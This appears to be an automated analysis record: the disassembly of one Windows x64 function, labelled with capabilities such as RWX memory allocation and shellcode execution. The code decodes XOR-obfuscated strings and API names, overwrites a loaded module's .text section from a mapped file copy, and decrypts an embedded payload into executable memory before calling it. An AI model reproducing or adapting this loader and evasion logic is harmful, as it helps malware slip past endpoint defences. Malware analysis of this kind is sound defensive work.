Function at 0x140002a10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
call fcn.140001570
movzx eax, byte [0x140075a60]
movzx ecx, byte [0x140075a6a]
mov rdx, qword [0x140075a60]
mov esi, dword [str._D_FR]
shl eax, 8
xor byte [0x140075aac], dh
movq xmm0, qword [0x140075aa0]
or eax, ecx
movzx ecx, byte [0x140075a69]
movq xmm2, rdx
shl eax, 8
pxor xmm0, xmm2
movq qword [0x140075aa0], xmm0
or eax, ecx
movzx ecx, byte [0x140075a68]
shl eax, 8
or eax, ecx
lea rcx, [0x140075aa0]
xor esi, eax
mov dword [str._D_FR], esi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movzx edx, byte [0x140075a6a]
mov edi, dword [str.ci_L_]
mov rbx, rax
movzx eax, byte [0x140075a60]
movq xmm1, qword [0x140075a60]
movq xmm0, qword [0x140075a90]
movzx esi, word [0x140075a9c]
mov rcx, rbx
shl eax, 8
or eax, edx
movzx edx, byte [0x140075a69]
pxor xmm0, xmm1
movq qword [0x140075a90], xmm0
shl eax, 8
or eax, edx
movzx edx, byte [0x140075a68]
shl eax, 8
or eax, edx
lea rdx, [0x140075a90]
xor edi, eax
movzx eax, word [0x140075a61]
mov dword [str.ci_L_], edi
xor esi, eax
mov word [0x140075a9c], si
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
movzx ecx, byte [0x140075a6a]
mov rdx, qword [0x140075a60]
mov qword [0x140075a70], rax
movzx eax, byte [0x140075a60]
movq xmm0, qword [0x140075ae0]
mov edi, dword [str.bLIR]
movq xmm3, rdx
shl eax, 8
xor byte [0x140075aec], dh
lea rdx, [0x140075ae0]
or eax, ecx
movzx ecx, byte [0x140075a69]
pxor xmm0, xmm3
movq qword [0x140075ae0], xmm0
shl eax, 8
or eax, ecx
movzx ecx, byte [0x140075a68]
shl eax, 8
or eax, ecx
mov rcx, rbx
xor edi, eax
mov dword [str.bLIR], edi
call rsi
mov qword [0x140075a80], rax
call fcn.140002990
mov edx, eax
mov eax, 1
test dl, dl
je 0x140002bb3
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdi, [rsp + 0x80]
mov ecx, 6
movq xmm0, qword [0x140075ab0]
mov rbx, rax
mov qword [rsp + 0x50], rax
xor eax, eax
movq xmm1, qword [0x140075a60]
rep stosd dword [rdi], eax
movzx esi, word [0x140075a68]
movzx eax, word [0x140075ab8]
lea rcx, [0x140075ab0]
pxor xmm0, xmm1
movq qword [0x140075ab0], xmm0
xor eax, esi
mov word [0x140075ab8], ax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [rsp + 0x80]
mov rcx, rbx
mov r9d, 0x18
mov rdx, rax
mov qword [rsp + 0x58], rax
lea rbx, [0x140075a60]
call sub.KERNEL32.dll_K32GetModuleInformation
lea r10, [0x140075ac0]
mov rbp, qword [rsp + 0x80]
xor edx, edx
mov rax, r10
lea r8, [r10 + 0x1e]
movsxd rcx, edx
add edx, 1
movzx ecx, byte [rbx + rcx]
xor byte [rax], cl
lea rcx, [rax + 1]
cmp rcx, r8
je 0x140002c83
cmp edx, 0xb
jne 0x140002c7e
add rax, 2
movzx edx, byte [rbx]
xor byte [rcx], dl
cmp r8, rax
je 0x140002c83
mov edx, 1
jmp 0x140002c4f
mov rax, rcx
jmp 0x140002c4f
xor eax, eax
xor edx, edx
mov rcx, r10
xor r9d, r9d
mov dword [rsp + 0x28], edx
mov r8d, 1
mov edx, 0x80000000
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x28], rcx
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], r8d
mov r8d, 0x1000002
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov qword [rsp + 0x20], r9
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd r12, dword [rbp + 0x3c]
mov qword [rsp + 0x40], rax
add r12, rbp
movzx esi, word [r12 + 6]
test si, si
je 0x140002d59
lea rax, [rsp + 0x7c]
movzx edi, word [r12 + 0x14]
lea r14, [r12 + 0x18]
xor r15d, r15d
mov qword [rsp + 0x48], rax
nop word [rax + rax]
lea rdx, [r15 + r15*4]
lea rax, [rdi + r14]
lea r13, [rax + rdx*8]
lea rdx, str..text
mov rcx, r13
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140002dc8
add r15, 1
cmp r15w, si
jb 0x140002d30
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x72950
xor ecx, ecx
call qword [0x140075a80]
lea r10, [0x140003100]
xor edx, edx
mov r9, rax
lea r8, [r10 + 0x72950]
mov rax, r10
movsxd rcx, edx
add edx, 1
movzx ecx, byte [rbx + rcx]
xor byte [rax], cl
lea rcx, [rax + 1]
cmp rcx, r8
je 0x140002e49
cmp edx, 0xb
jne 0x140002e41
add rax, 2
movzx edx, byte [rbx]
xor byte [rcx], dl
cmp r8, rax
je 0x140002e49
mov edx, 1
jmp 0x140002d88
mov rdi, qword [rsp + 0x48]
mov ecx, dword [r13 + 0xc]
mov r8d, 0x40
mov dword [rsp + 0x7c], 0
mov edx, dword [r13 + 8]
add r15, 1
mov r9, rdi
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [r13 + 0xc]
mov rax, qword [rsp + 0x40]
mov r8d, dword [r13 + 8]
lea rcx, [rbp + rdx]
add rdx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov ecx, dword [r13 + 0xc]
mov edx, dword [r13 + 8]
mov r9, rdi
mov r8d, dword [rsp + 0x7c]
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx esi, word [r12 + 6]
cmp r15w, si
jae 0x140002d59
movzx edi, word [r12 + 0x14]
jmp 0x140002d30
mov rax, rcx
jmp 0x140002d88
mov rcx, r9
mov r8d, 0x72950
mov rdx, r10
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call rbx
mov rcx, qword [rsp + 0x60]
call rbx
mov rcx, qword [rsp + 0x68]
call rbx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x140002b9f